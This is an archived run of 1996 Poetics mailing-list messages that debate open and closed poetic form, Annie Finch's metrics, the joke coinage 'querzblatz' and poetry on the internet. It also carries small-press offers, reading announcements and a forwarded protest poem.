I brought up "Descent of Alette" in conjunction with the form of the epistle as a way to open the subject inherent within the tenor of voice as a new form fostered by repetition. Not only does Alette's form bring forth a sense of breath simialr to the WCW foot, but also challenges and agrees with Wah's insistence of the oversized sentence fitting the capacity of new form through Notley's use of capitilization without punctuation. It seems that Annie's definition of form does not allow for discovery through anti-polarity of exposition, even when repetition is present. What I mean is if you have a poem without an "I" it's one of the features that demarcates its composition. That one can define through a process of exposure, of what is not held within the definition.

Rod: If I remember correctly only a few sections of "Descent" are in the _Scarlet Cabinet_ not all.

David Baratier

↑ Index

273. Gwyn McVay
Re: quertzblatz
Wed 15 May 1996

John Whiting,

I'm terribly sorry. You are quite right. Please forgive my mimsy brain; the air conditioners are out today, and it's brillig in here.

Gwyn

↑ Index

274. Rod Smith
Re: sometimes a formal Finch comes
Wed 15 May 1996

Re Cage & improvisation-- actually he sd he changed his mind about improvisation after hearing Messian improvise on the organ.

--Rod

↑ Index

275. Emily Lloyd
Re: sometimes a formal Finch comes
Wed 15 May 1996

At 09:17 AM 5/15/96 EDT, Henry Gould wrote:
Hey I got an idea - closed
>wear red shirts, open wear blue. then we'll know what's at stake
>and who's the good guys.

ah, I think this is what I mean when I ask what's at stake--yes, of course I'm aware of the politics of open form & all that...& I assume HG is tongue-in-cheek here but he doesn't seem that far off...when I ask "what's at stake" what I mean is what HG gets at: why is the form issue such a threat that we end up debating closed v. open (& I'd go further--open lyric narrative v. open querzblatz) so much? And when Annie Finch says "what you're doing is not what I'd consider the creation of new forms"...what does the response to her show? In rejecting old capital F forms on political grounds, what I'm wondering is, why the apparent drive to gain acceptance in the same quarters those capital Fs haunt? To say, ok, my work is as valid & vigorously crafted as so-&-so's villanelle, so recognize that, Annie, let me in...but if we reject those old forms (& the criteria for judging & inhabiting them) why do we want to find a similar criteria for ourselves or Annie to judge open work...are those Forms forever yardsticks...what's at stake, I guess, if Annie isn't convinced? & why do we care about convincing her? & why is 37 lines in each of 37 stanzas or something similar, why is that the extension of content? Why is that not as "oppressive" a floor plan as abbaabbaetcetc? Specifications like that, so wondrously hailed & oft-commented, are not what makes _My Life_ brilliant or interesting to me...& is form still "open" when those #s come into play? & is the drive to be "open" & "poised against" Form,etc. compatible with sequences--even when random? How open is open? how pure is politics? then how righteous? emily

~~~~~~

Emily Lloyd [redacted]
"Fist my mind in your hand"--Rukeyser
~~~~~~

↑ Index

276. Christopher Reiner
*Re: Alice Notley's _The Descent of Alette_*
Wed 15 May 1996

Just a note about _The Descent of Alette_: There's a review of _The Scarlet Cabinet_ (and much about _Alette_) in the first issue of WITZ (1.1), available for download at the EPC. The review is by Ed Foster (hi, Ed). You will have to bring up the complete issue (it's not hypertext), but anyone interested in the book might want to take a look at what Ed has to say. (Hint: if you want to get through all the other articles and go directly to the review, search on the word Alette.)

--Chris Reiner
[redacted]

↑ Index

277. Maria Damon
Re: poetry on the net
Wed 15 May 1996

---

what's this about poetry being in popular decline now?--md

↑ Index

278. Charles Alexander
chax books
Wed 15 May 1996

I'm going to muddy up the poetics waters with commerce once more, but I haven't noticed too many complaints from other presses doing so, so here goes. Please DO NOT send any orders to this poetics list, rather send them directly to me via email at [redacted], or via postal service to Chax Press, P.O. Box 19178, Minneapolis, MN 55419-0178. And you can call at [redacted].

These three offers, or combinations of them, are good only for orders placed by June 10, 1996.

I. Chax printed a small pamphlet just in time for the recent Robert Duncan conference in Buffalo, and after selling those at the conference and to press standing orders, we have just a few left, for $10 each plus $3 shipping & handling.

The pamphlet contains excerpts from three of Duncan's copy book entries. It also contains a sentence from the copy books leading in:

"Mine are songs for people who cannot sing to sing."

and another sentence leading out of the book:

"The language revising its own architectures is the cloud palace and drift of your desire."

The other excerpts are somewhat longer, and one is a poem. The entire pamphlet is 12 pages, these pages being a combination of Gutenberg, Biblio, and Moriki papers, hand sewn into handmade paper wrappers. All type in the pamphlet is handset and printed letterpress in 2 colors.

2. Chax has a limited number of copies of the first book produced by the press in Tucson, Arizona, in 1984, which still carries a Black Mesa Press imprint, Black Mesa being the press begun by Charles Alexander in 1981 in Madison, Wisconsin. I think we had an NEA grant which included this book, so had to use the Black Mesa imprint, even though everything else became Chax Press upon the move to Tucson in 1984.

This book is hand printed on Rives lightweight paper in two colors, and consists of twenty of Mac Low's French Sonnets. The type is Garamond from the Golgonooza Letter Foundry, and the design is very classical. The three signatures of the book are sewn and bound in cloth over boards. The binding was designed by Katherine Kuehn, who currently operates the Salient Seedling Press in Albuquerque, and was executed by Katherine and by Mary Laird, who currently operates the Quelquefois Press in Berkeley. This book has been selling for $65, but is currently offered to Poetics List members for $20.

3. Finally, Poetics List members may choose from the following list any 3 books for $5 each, a savings of up to $10 per book. a $3 shipping/handling charge will be added for orders of 3 books; however, no shipping charge will be added for orders totaling $20 or more, including any combination of orders from the following list, of the Mac Low book, and of the Duncan pamphlet.

Kathleen Fraser, when new time folds up, 1993
Norman Fischer, Precisely the Point Being Made, 1993 (co-published with O Books)
Rosmarie Waldrop, Fan Poem For Deshika, 1993, (hand printed pamphlet)
Beverly Dahlen, A Reading 8 — 10, 1992
Ron Silliman, Demo to Ink, 1992
Eli Goldblatt, Sessions 1 — 62, 1991
Sheila Murphy, Teth, 1991
Karen Mac Cormack, Quirks & Quillets, 1991
Charles Alexander, Hopeful Buildings, 1990
Larry Evers and Felipe S. Molina, Wo’i Bwikam/Coyote Songs, 1990
bp Nichol, art facts: a book of contexts, 1990

Once again, please send orders directly to me at [redacted], or to the address listed in the first part of this message.

and thank you,

Charles Alexander
Chax Press

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279. mikl-em
Re: quertzblatz
Wed 15 May 1996

> *"Querzblatz" (although "quertz-" is an acceptable variant spelling) has absolutely no meaning nor etymology whatsoever.....It has Q and Z in it because those are the letters not on the telephone dial, and they sound cool.*
>
> *Gwyn McVay*

Gwyn, watch out! the new pay phones I have seen have Q and Z printed on the 1. See how the resistance becomes the establishment! whoever it was with those new alphabets better hurry--poetry's getting harder than chinese algebra. [or is it just happy to see me?]

:)

bezt, mkl.

m 2 thee eye 2 thee see 2 thee osh 2 thee eh 2 thee eeee! 2 thee elle.
mike
@taylor.org

↑ Index

280. Daniel Bouchard
Re: poetry on the net
Wed 15 May 1996

> *what's this about poetry being in popular decline now?--md*

Funny, I heard something about popular poetry being in decline now.

[redacted]

↑ Index

281. **Rod Smith**
I muse you make so slight a question
Wed 15 May 1996

What's at stake? What's a stake? What's open? What's closed? If you don't know, why do you ask? Why fly? Do the words reflect events, environs? Isn't place a question of syntax? Do your profs think they're speak from a platform of objectivity or are they fooling themselves? Do you think TV is the catholic church of the new dark ages? Isn't this simply behavior? Don't you grow weary, irritable? Have you read _Sunset Debris_? What for? You don't like it? What sort of things can be done in Finnish that can't be done in English? Does the worth of the value concede to the expectations of the narrow castle walls called syllabic muffins? Will you publish my next book? Does CHRIS STROFFOLINO remind YOU of NIETZSCHE? But isn't a difference in tone really a difference in meaning? Does that one look like a cop or a crook? If there are no conclusions why do we wish for them? So there's no special way of knowing when a poem is over? Can it be _sort of_, or does it have to be yes or no? Think'st thou that I'll endanger my soul _gratis_? Is this an easy attainment? What is so important? Nietzsche? And for that reason did the robe really cease to signify anything relative to the truth of zen? And who's the good guys? Do you have a conscious, underlying reason that you write? Is it only to make up a world?

↑ Index

282. **Maria Damon**
Re: quertzblatz
Wed 15 May 1996

---

my objection to the term "quert(z)blatz" is precisely that it sounds too germanic for my taste, being more of a romance-lingo-orientated chick myself, and a german philologist is about the last type of guy i'd want to be emulating. sorry gwyn, i love the idea of a neologism to describe what, after all, wants to neologize the language, but the Q-word isn't one that'll creep into my vocab anytime soon. i like "experimental" cuz of all the nice vowels in it. md

↑ Index

283. **John Whiting**
Re: sometimes a formal Finch comes
Wed 15 May 1996

John Cage changed his mind every day - that's why it never smelled bad. The great thing about his dicta was that they weren't rules, they were celebrations or warnings.

John

↑ Index

284. George Bowering
Re: poetry on the net
Wed 15 May 1996

> *what's this about poetry being in popular decline now?--md*

Wait. Isnt that a kind of oxymoron? Or does it mean that the decline of poetry is popular with people? But then that would mean that people cared about what happens with poetry....

.....
Is a counterfeit robot different from an ordinary robot?

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

285. Chris Stroffolino
Re: quertzblatz
Wed 15 May 1996

Well, Jordan, actually I say QUERTZBLATZ,
YOU say querzblatz....
(is the t big enough for the two of us?) c

↑ Index

286. Chris Stroffolino
Re: poetry on the net
Wed 15 May 1996

no, I thought it was that "decline" is popular in poetry now....

↑ Index

287. **Chris Stroffolino**
Re: quertzblatz
Wed 15 May 1996

how about el quertblatzo, maria

↑ Index

288. **Joe Amato**
walcott/paz/milosz news clip...
Wed 15 May 1996

i would greatly appreciate it if whoever posted that news clip with our nobel laureates' rejection of cspace would post me same again backchannel... and/or the source, if possible... i accidentally tossed it, and it'll help me greatly with something i'm busy brewing...

please post to

[redacted]

many thanx!...

joe

↑ Index

289. **Emily Lloyd**
Re: quertzblatz
Wed 15 May 1996

At 04:00 PM 5/15/96 -0500, Chris Stroffolino wrote:
> how about el quertblatzo, maria
>

but certainly not nietzschblatz...to me "querzblatz" sounds, happily enough, like Dr. Seuss, but then it occurs to me that he must've been German...

"and [experimental poetry]'s name a boneless string of vowels..." ? em

~~~
~~~

290. Carnography
Querzblatz: Specimens and usage
Wed 15 May 1996

Rrrr-whaaar, you dear and pungent l'construction workers:

Since neologisms tend to congeal--to become stained by the context in which they are used--I thought I'd blend in my very own (all ideas copyright 1996 by Robert Hardin, professional prosodist: DO NOT PARAPHRASE) examples before the cement hardens and the color scheme goes to the printer.

Microwave your mixed metaphors for faster flavor,

Rob Hardin

(who requires no insurance or medical coverage, since a certain pelagic sonnet by a Pultzer Prize-winning Belgian will allow him to "live forever")

Querzblatz: Specimens and usage

IIII. An exact copy of Kandinsky's *Staccato Abstract* was tattooed all over the suspect's pulsating, querzblatz hands.

XV. I can't read the letterhead on account of those roosters and their querzblatz neo-Italian madrigals.

VV. It is no longer querzblatz to read the ingredients aloud while pouring the [table of] contents on yourself.

MCCCXXXCIV. Ron Silliman's new manual, *Teach Yourself Querzblatz in Fourteen Days*, is a must for students and professional prosodists alike.

LXDQD. Aphid hail, aphid hail, querzblatz *homopterae* in the local mail!

↑ Index

291. Carnography
Re: poetry on the net
Wed 15 May 1996

At 12:38 PM 5/15/96, Maria Damon typed:

> *what's this about poetry being in popular decline now?--md*

Yes, and the little toy ships are much further away than they used to be, according to Yeats, and people are now smaller and more misshapen, and trees bear less fruit, as of 443 b.c., according to Thucydides.

Yes, I've heard rumors that poetry is no longer read,
just as I've heard that poetry is permanent--that,
long after the Earth is a cold black planet orbiting a
dead star, Keats will still be "immortal."

On the other hand, I have neighbors who read Barret Watten.

signature here,

the lowly self-effacing novice
(don't look here)

↑ Index

292. George Bowering
Re: quertzblatz
Wed 15 May 1996

> *I've seen the word "quertzblatz" (?sp) used on this list a few times, and can guess from context that it means something similar to "experimental", but I can't find a definition anywhere. Can anyone help with meaning, etymology &c?*
>
> *Thanks,*
> *Tom Beard.*

It was first used, I believe, by Joseph Conrad, the Polis novelist. You'll see it during the explosion scene at the end of _Heart of Darkness_.

.....
Is a counterfeit robot different from an ordinary robot?

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

293. Jordan Davis
coincidence xanadu (taking a pitch)
Wed 15 May 1996

Not that things appear to be heading in a xanalogical direction, in any case...
What's at stake? Think'st thou that I'll endanger my soul _gratis_?
Šé.ïîç~ñ
Bill--
I agree.

. (3 and 2, men on second and third)

--Jordan

))NEw
publsihgne grot aserr tmmm from the beginnnnnn éééé qzblqtzlctlblaqtzl

boom
I take SPACE

↑ Index

294. Wystan Curnow
Re: poetry on the net
Wed 15 May 1996

---

decline popular poetry now

w.

↑ Index

295. Gabrielle Welford
words better than my own (fwd)
Thu 16 May 1996

Have you heard about the young guy in LA who was found assassinated? He'd been working on behalf of Mumia Abu Jamal. Gab.

---------- Forwarded message ----------
Date: Wed, 15 May 1996 18:29:33 -1000
From: x341540 <[redacted]>
To: [redacted]
Subject: words better than my own

I send this poem to explain a situation full of pain, confusion, and anger.

who killed mcduffie
(a definitive question)

his brain was bashed
cranium crashed
skull fractures/broken
all the way around
but they said those who beat him
didnt kill him
so who killed mcduffie?
maybe it was the ame ones
who didnt kill
clifford glover/randy heath/jay parker
claude reese/randy evans/luis baez
arturo reyes/bonita carter/ eula love elizabeth magnum/arthur miller &

countless others
when they musta tripped or
their fingers slipped
maybe it was the same ones
who didnt kill
jose torres/zayd shakur/fred & carl
hampton/jonathan & george/joe dell
twyman myers/spurgeon winters &
a few thousand others
perhaps it was those who didnt kill
lumumba/che/amilcar/biko/fanon
mondlane/marighella/cordero &
quite a few thousand more
do you suppose it may have been those
who didnt kill
the indians & mexicans
who didnt steal the land &
claim that they discovered it
who didnt steal afrikan peoples
halfway across the planet
who didnt loot our customs/cultures
religions/languages/labor/& land
who didnt bomb the japanese/
vietnamese/& boriqua too
do you think it might have been those
who didnt kill at attica/watts/dc/
detroit/newark/el barrios
at jackson state, at southern u
at the algiers motel
who didnt shoot mark essex for
16 hours after he was dead
ask them and thy'll tell you
what they didnt do
but they cant tell you
who killed mcduffie
maybe it was one of those
seizures unexplainable where he
beat himself to death
it wouldnt be unusual
our history is full of cases where we
attack nightsticks & flashlights with our heads
choke billyclubs with our throats till we die

jump in front of bullets with our backs
throw ourselves into rivers with
our hands and feet bound
and hang ourselves on trees/in prison cells
by magic
so it shouldnt be a mystery that
nobody killed mcduffie
he just died the way many of us do
of a disease nobody makes a claim to
the police say they didnt do it
the mayor says he didnt do it
the judges say they didnt do it
the gov't says it didnt do it
nixon says he didnt do it
the fbi/cia/military establishment
says they didnt do it
xerox/exxon/itt say they didnt do it
the klan & nazis say they didnt do it
(say they were busy in greensboro & wrightsville)
i know i didnt do it
that dont leave nobody but you
& if you say you didnt do it
we're back to where we started
looking for nodody
who killed mcduffie
you remember nobody dont you
like with de facto segrgation
where they said the schools were segregated
but nobody did it on purpose
loke when they said there's been
job discrimination for years
but nobody did it intentially
but nobody we're looking for

the one with the motive to kill mcduffie
& you see, we must find this nobody
who slew mcduffie
because the next person nobody will beat,
stomp,hang or shoot to death
wont be mcduffie
it'll be you or someone close to you
so for your own safety

you should know the pedigree of
who killed mcduffie
you should know the reason of
who killed mcduffie
and you should remember all those forgotten
who died of the disease nobody makes a claim to
so we wont be asking who killed you

by Hakim Al-Jamil
from Hauling Up the Morning.

amor y solidaridad,
miguel

↑ Index

296. **Daniel Salmon**
Re: quertzblatz
Thu 16 May 1996

---

querzblatz = anglicization of german qwertz-platz
which translates as typewriter/keyboard place -
probably relates well to laureatte discussion also

dan.

↑ Index

297. **John Whiting**
Re: poetry on the net
Thu 16 May 1996

"Decline popular poetry now"

Popular poetry now.
Popular poetry then.
Popular poetry now and then.

John

↑ Index

298. **Eryque Gleason**
Re: poetry on the net
Thu 16 May 1996

> *poetry now*

starring marlon brando and martin sheen.

↑ Index

299. Herb Levy
Re: poetry in the nabes
Thu 16 May 1996

> *On the other hand, I have neighbors who read Barret Watten.*

That's not so uncommon, the people next door to me have neighbors who read Watten too.

Herb Levy
[redacted]

↑ Index

300. k.a. hehir
qwertyuiop
Thu 16 May 1996

---

as for the form thing. wasn't there a sestina being chucked around here not to long ago? isn't that a form? if i want to write a poem and dress it up as a sonnet; do i go shakespeare or spenser? am i borrowing culture, elevating it to an "accepted" medium? i'm not sure.

would the function of me/you/us churning out 100 cantos in terza rima be a shrine or a mockery to/of dante?

kevin

"the true Querztblatzists are against Quertzblatz"
-the ghost of Tristan Tzara(who bends my
paperclips and steals my smokes)

↑ Index

301. Carol or Jeremy Close
Poetry On The Net
Thu 16 May 1996

Hello

People who would have never cracked a book of poetry are
>> now reading it on the internet. A traditionally printed magazine of
>
>Amen!

:)
There is poetry on many of my non poetry my mailing lists. And my husbands. They include wargaming, housewife, health, womens, sex, and a joke list.

People often quote poetry in their sigs. In the body of their mail they send topical poems they find or write, quote poetry urls, make references to poets or particular poems. Poetry is as about as unpopular as chocolate. People may say they don't dig poetry but that doesnt stop them it using it, writing it, quoting it and pointing to it.

I wonder is e-mail seeing a change in written correspondence which has darned gone and produced a new loquat age for poetry?

There is poetry right through the nonsense/humour page set as well.

I have just founded a poetry webring thanks to Sage Weil. If anyone is interested in becoming part of this interesting navigational setting let me know. The webrings themselves are already poetry:)

Amazing numbers of homepages sidle of to a poetry page at some point!

Carol
<major redelurk>

Lachlan (born 20/12/95) has this to say about web poetry-
,kmjmk,k m sAr t k pA ak xxq- FC FVVDFCCCV ,,,,,L; ZNNB
JJJJJJJJFF F IUMNM M B

<My personal ego salvo- Internet in a Poem- has moved . IAP gets a lot of positive feedback from non-poetry ppls :) > =-= Carol or Jeremy Close, Adelaide, Australia [redacted]

Jeremy is member 0 in the Inner Circle of net-Wraiths
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

>that the extension of content? Why is that not as "oppressive" a floor plan
>as abbaabbaetcetc? Specifications like that, so wondrously hailed &
>oft-commented, are not what makes _My Life_ brilliant or interesting to
>me...& is form still "open" when those #s come into play? & is the drive to
>be "open" & "poised against" Form,etc. compatible with sequences--even when
>random? How open is open? how pure is politics? then how righteous? emily

A lot of good questions here... off the top of my head, two reasons why I have been interested sometimes in "formalities" - first, they CAN provide resistance while writing, that brings out new things. Second, it's a way of communicating & challenging & absorbing what's been done before. It's not really an ideological issue for me, it's a matter of writing. Others have made an ideological issue out of it. To them I would say: yes, Olson & WCW & Pound & Whitman & others did a world-changing tremendous thing in poetry (but not exactly a new thing in world poetry). & yes they are as much if not more background in my particular writing than most more traditionally formalist poets. But ultimately I would say: Celan's free verse is as closed as an axe falling. Mandelstam's tight quatrains are as open as a hobo's daydream. Open is closed; closed is open. Deal with it. - Henry Gould

> ~~~~~~
> *Emily Lloyd* [redacted]
> *"Fist my mind in your hand"--Rukeyser*

↑ Index

303. **henry**
Re: Making fun of their names again
Thu 16 May 1996

On Wed, 15 May 1996 09:58:40 -0500 Jordan Davis said:
>and Henry--
>there's counting in Mondrian but it's fibonacci counting--
>or gauss counting--
>or duke ellington counting--
>which is a different count--three and two--
>from ah-one-two-three--

yeah well, a march is different from a july. but it's all counting, a seasonal thing. "Teach me to number my days." Might as well dance while you have a chant. - HG

↑ Index

304. John Whiting
Re: words better than my own (fwd)
Thu 16 May 1996

The "young guy in LA who was found assassinated" was Michael Taylor. He had been a KPFA volunteer and was attempting to start a micro radio station. He had indeed been working on behalf of Mumia Abu Jamal, but even informed radical journalists in the area believe that the killing was done by three men who knew him well and was for "financial gain" rather than from political motives - one of them was later caught driving his car. Conspiracy theorists will have to go very far out into left field on this one.

John Whiting

↑ Index

305. Kurt Nimmo
Re: poetry on the net
Thu 16 May 1996

Diane Marie Ward wrote on Wed, 15 May 1996:

> *aspects: the Internet has so many advantages for poets -*
> *1)one is not subject to a publisher- one is free to explore/experiment*

This may be one of the reasons Milosz et al fear the Web -- the medium is very democratic, even anarchistic, & anybody can publish anything -- yes, even garbage -- which has a tendency to blend everything together... I suspect Milosz et al like a tightly controlled situation -- i.e., a small number of literary (paper media) publishers with access to bookstores -- because in such a situation they are prominently featured.

> *2) even if the poetry is not refined/honed, the poet will be exposed to*
> *more poetry through his/her interest in the subject by doing a simple Net*
> *search - thus almost self-teaching, or at least refining taste by being*
> *introduced to new styles and perhaps a different approach.*

In order to do this with traditional media, you would have to spend hundreds, even thousands of dollars on expensive books -- plus wait weeks, months for the books to be shipped. Finding an obscure author in the nooks & crannies alone would take an immense amount of work. All of this -- with a robust search engine -- takes only a few minutes on the Web...

> *3) Poetry may be in popular decline now - but the younger generation which is*
> *being raised in this paradgim will appreciate creativity & the freedom*
> *of the Net and perhaps poetry will see a resurgence and*
> *4) small press publishers indie book sellers will benefit in the long run*

> *because people will develop a taste for certain authors and may seek out to own a copy.*

More than a few publishers have samplers & catalogues on the web. These include SUN & MOON PRESS (http://www.sunmoon.com/), BLACK SPARROW (http://www.blacksparrow.com/bsg5.html), and AVEC SAMPLER (http://www.crl.com/~creiner/syntax/sampler.html). Others are coming online all the time...

> *5)New marriages of poetry and art and sound will occur, and the public will be exposed to them rather than waiting for PBS to produce a series ;*

I take it you are referring here to the PBS series THE UNITED STATES OF POETRY. A good series -- even if it spends too much time on the old standards: Allen Ginsberg, Amiri Baraka, Lawrence Ferlinghetti, Jack Kerouac, Derek Walcott, Rita Dove, Joseph Brodsky, Czeslaw Milosz -- even Lou Reed and former prez Jimmy Carter. Nothing against any of these poets -- just that there are hundreds of others who need the exposure (does Jimmy Carter *need* exposure?)...

> *Nobel Prize winners may question its viability, but we should not allow that to shadow any of the progress being made -- There will always be a struggle between those whose arms are folded and those who run to embrace. (Personally I still prefer to read a book - but the value found on a computer screen connected to the world is all too seductive.)*

Yes, I prefer a book also... tho if you find a poem on the Web, you can always send it to yr printer & take it with you on the bus or to the park...

> *If I recall correctly, Czeslaw Milosz is featured on a web site...*
> *It is at http://sunsite.unc.edu/dykki/poetry/milosz/ -- it is a very impressive site complete with audio text of him reading in English & Polish.*

So why is he skeptical of the technology if he is featured on a web site?

Kurt Nimmo
http://ic.net/~knimmo/png.htm

↑ Index

306. Michael Boughn
Re: a foraml Finch comes
Thu 16 May 1996

Since no one seems interested in speaking up on behalf of Annie Finch, allow me--

I have just gone through her book, _The Ghost of a Meter_, and her main point, as well as many of her readings, are worth checking out. She's not another Timothy Steele, as some people on the list seem to have assumed. She wants to establish an understanding of metrics as a code--it's a Sausurrian reading of how

regular metrical forms signify, or can be made to signify, by certain writers in certain conditions. So her sense of "form" seems to have to do with how traditional forms are made to signify as codes. It's a theoretically naive sense of what constitutes form from the perspective of modern mathematics and physics and their application to poetics, as a number of people have pointed out, but it's not, I think, based on the kind of political position that's been attributed to her.

Her reading of Dickinson is actually rather similar to Susan Howe's reading, except that whereas Howe stresses the painterly aspects of Dickinson's prosodic ruptures as signifying her resistance to patriarchy, Finch stresses Dickinson's uses and oppositions of metrical forms. She examines the ways Dickinson modulates between, say, a tetrameter line and a pentameter line in the same poem, and argues that such shifts mean something--usually having to do with resistance to a patriarchal poetic tradition. In so far as she's dealing with metrics as a meaningful rather than a decorative aspect of the poem, her fundamental position is not that different from many people on this list, although I'm sure there are major differences over how that process is understood to take place.

For the record, she misquoted me in her post to Mark--I did not say that forms exist on a continuum from regular to irregular. I was speaking of metrics, and arguing that metrical patterns exist on such a continuum, my main point being that the notion of non-metrical poetry promoted most recently by Steele and Co. is nonsense, that all poetry is metrical, i.e. measured, although we can speak meaningfully of regular metrics and irregular metrics (what Williams called the variable foot).

Mike
[redacted]

↑ Index

307. **Maria Damon**
Re: quertzblatz
Thu 16 May 1996

---

i think it's the blatz so soon after the quertz. i'd go for "quertablazzo" --italianize it. gives the "er" a less "ur" sound too.

↑ Index

308. **Maria Damon**
Re: Poetry On The Net
Thu 16 May 1996

right on, carol and jeremy close. people love to moan and groan about the decline of poetry but as far as i'm concerned, that kind of precious, self-aggrandizing nostalgia has nothing to do w/ reality. bests, maria d

↑ Index

309. **mikl-em**
Milton Project
Thu 16 May 1996

this may be of interest to some, so I thought I would pass it along...and I did, in fact. mkl.

Date: Wed, 15 May 1996 15:10:20 -0400
From: "A. E. B. Coldiron" <[redacted]>
Subject: X-Post: Milton Transcription Project
To: Multiple recipients of list PROSODY <[redacted]>

Dear PROSODY Readers,

As John Milton wrote in _Areopagitica_, "a good Booke is the pretious life-blood of a master spirit, imbalm'd and treasur'd up on purpose to a life beyond life."

THE MILTON TRANSCRIPTION PROJECT is dedicated to assuring that all of Milton's poetry and prose will be available for public access on the Internet. Although most of Milton's poetry will soon become available at the Oxford Text Archive and at the University of Richmond server, most of the English and Latin prose--along with a great deal of fascinating Miltoniana-- remains to be transcribed. We invite you to join us in providing accurate scholarly transcriptions of these texts.

THE MILTON TRANSCRIPTION PROJECT (MTP), currently supported by Milton-L, _Milton Quarterly_, the Computer Writing and Research Laboratory at the University of Texas at Austin, _EMLS_, and the University of Richmond's web-server, is the joint creation of volunteers from 24 colleges and universities in three countries.

Volunteers may transcribe as much or as little as they wish; each transcription will be proofread, formatted, checked, and refereed. We shall acknowledge any significant contribution, and all accepted transcriptions will be credited by name.

In order to volunteer, to view test sites, or to receive other information, please contact either Professor Hugh Wilson (MTP, Editor; [redacted]) or Professor A.E.B. Coldiron, (MTP, Internet Liaison; [redacted]).

The only requirements are diligence, concern for accuracy, and the ability to type with one or more fingers. Volunteer: earn the intangible reward of "those whose publisht labours advance the good of mankind" (_Areopagitica_, 1644).

↑ Index

310. Ward Tietz
Re: Formal Continuum
Thu 16 May 1996

Tom Bell raises a good question about the distinction between form and technique. My sense is that it's something we don't talk about enough. Here's what John Dewey said in "Art as Experience,"

"Technique is neither identical with form nor yet wholly independent of it. It is, properly, the skill with which the elements constituting form are managed. Otherwise it is show-off or a virtuosity separated from expression.

Significant advances in technique occur, therefore, in connection with efforts to solve problems that are not technical but that grow out of the need for new modes of experience...."

As for the formal continuum debate, I don't find the idea of a continuum useful except to the extent that it allows me to say that I think its premise is completely wrong, which I guess makes it an idea that's wrong in all the right ways.

To define poetic form from within the confines of poetry exclusively, by means of a continuum, it seems to me, does not define form very well at all. It's an approach that defines by force, by fixing the institutional endpoints of praxis as functional and universal, and then organizes the refusal to recognize anything beyond them as normal and self-regulating, as a simple matter of category and history. A validation of what is found in between these agreed "points" might resemble diversity, but it's a diversity that's preordained, not one that is simultaneous with formal possibility.

The use of the term "form" without any discussion of material or other technical factors, seems to me to be too "formal." It leaves too many aspects of production and reception unspecified and leaves form only fit for describing ideology. As politics is elevated above all other concerns poetry can only respond in kind, that is become internally politicized itself. Once diverted by politics it becomes incapable of responding to form in a more general way, or to expressive opportunities outside of its historical or technical domain.

Arguing about who or what marks the endpoint of praxis, for me, marks little difference. It's still the discipline or category instituting itself.

I think "scene," by the way, tries to do the same thing as continuum, only on a smaller scale.

Ward Tietz

↑ Index

311. Bob Holman
Pick ONE
Thu 16 May 1996

Jordan, I too flubbed "Reading Comprehension." Always read, "Reading Comp-sosition." Helas.

BobH

↑ Index

312. henry gould
Re: formal continuum
Thu 16 May 1996

Ward Teitz's remarks are helpful in generalizing the issues of form rather than re-hashing politicized debates. It raises a question though: just how DO you focus on the place where technique & form interact? At one extreme you have a blindered form/content open/ closed debate, on the other a kind of wide-open quest for poetry as a multi-art phenomenon under the influence of all kinds of lenses, ideological, material, art-historical, etc. Themes.

I know this is kind of a useless rhetorical question. At the back of my mind (to the left) is the idea that poetry is paradoxical in that a great deal is going on in an extremely concentrated reality under a rather simple unprepossessing surface. Perhaps the ultimate "form" poetry takes is the riddle. And the claims & debates that rage & ramble are carried on by people (us) who often never enter that hidden reality, or get to the poem. Does the concept rule the form - or is the concept multi-form, depending on what lense we bring to the "artefact"? (Is the concept Peirce's "thirdness"...) Or is this all mene mene tekel under the sign of dissolving Babel before the emergence of a para-language...zzzzz... - Henry Gould

↑ Index

313. Tom Beard
Re: a foraml Finch comes
Thu 16 May 1996

Mike Boughn wrote:

> *So her sense of "form" seems to have to do with how traditional forms are made to signify as codes.*

Form is never _less_ than an extension of content.

Tom Beard (whose preferred initials are TRB, not TB (funnily enough))

↑ Index

314. Jordan Davis
readings in NYC the next few days
Thu 16 May 1996

At POETRY CITY tonight, 5/16
Gary Lenhart
&
Carol Conroy
6:30 p.m. 5 Union Sq W, 7th fl free

At SEGUE tonight, 5/16
Bill Luoma
&
Deirdre Kovac
7:30 p.m. 303 E 8th st free

At ICHOR tomorrow, 5/17
Bruce Andrews,
Charles Bernstein
&
Ann Lauterbach
8:30 p.m. 127 W 26th St $?

At the EAR Saturday, 5/18
Jeff Derksen
&
Eileen Myles
2:30 p.m. 326 Spring St $3

At POETRY CITY Thursday 5/23
Robert Hale
&

Shannon Ketch
6:30 p.m. 5 Union Sq W free

attendance is mandatory
there will be a quiz

↑ Index

315. Maria Damon
Re: a foraml Finch comes
Thu 16 May 1996

mike boughn, i for one have nothing against annie finch nor do i assume an antagonistic politics on her behalf. since questions of form per se do not interest me, but questions of the meanings that get attached to form DO i nterest me, i'm glad to have a precis of her work in a way that makes it sound intriguing and meaningful beyond a nostalgic apologetics; i wd expect as much from her--thanks--md

↑ Index

316. Gwyn McVay
Re: a foraml Finch comes
Thu 16 May 1996

I like what the esteemed Chas. Bernstein said:

Form is never more than an expression of _malcontent._

↑ Index

317. Jordan Davis
Remaking their names again
Thu 16 May 1996

Sed Hen: yeah well, a march is different from a july. but it's all counting, a seasonal thing. "Teach me to number my days." Might as well dance while you have a chant. - HG

The intensity though is it high enough?
("Nervous don't pay"--Clint Eastwood)

What was substituted in poetry circa Basho
was not thousands of wet leaves on the road.
For what. For an irrecoverable grace?
It was surprised. Surprised was substituted

(I don't understand basketball at all
but people are very kind and will explain it.

around the time of the frog (the year of the cat?)

and counting, which was when I played bass
most of what I did, especially in Lohengrin,
is that really what you do when you have something to say

when you have to say something to the count
anything is possible but there is a shot clock)

--the count

↑ Index

318. **Mary Hilton**
Political Diction - Announcement
Thu 16 May 1996

Submissions are now being accepted for "Political Diction 96," a magazine devoted to the electoral process, and most specifically to the election year 1996. A multi-partisan magazine distributed each election year, it is hoped that "PD" will allow writers and artists to express their views about the democratic process and our government.

Interesting and innovative essays, poetry, short stories and (easily reproduced) visual art are welcome. Submission deadline is August 15, and the mag will be distributed in Sept/Oct. Please send to:

Political Diction 96
c/o M. Hilton
1706 U Street, NW, #102
Washington, DC 20009

"Democracy, which shuts the past against the poet, opens the future before him. . ." Alexis de Tocqueville

↑ Index

319. **Chris Stroffolino**
Re: a foraml Finch comes
Thu 16 May 1996

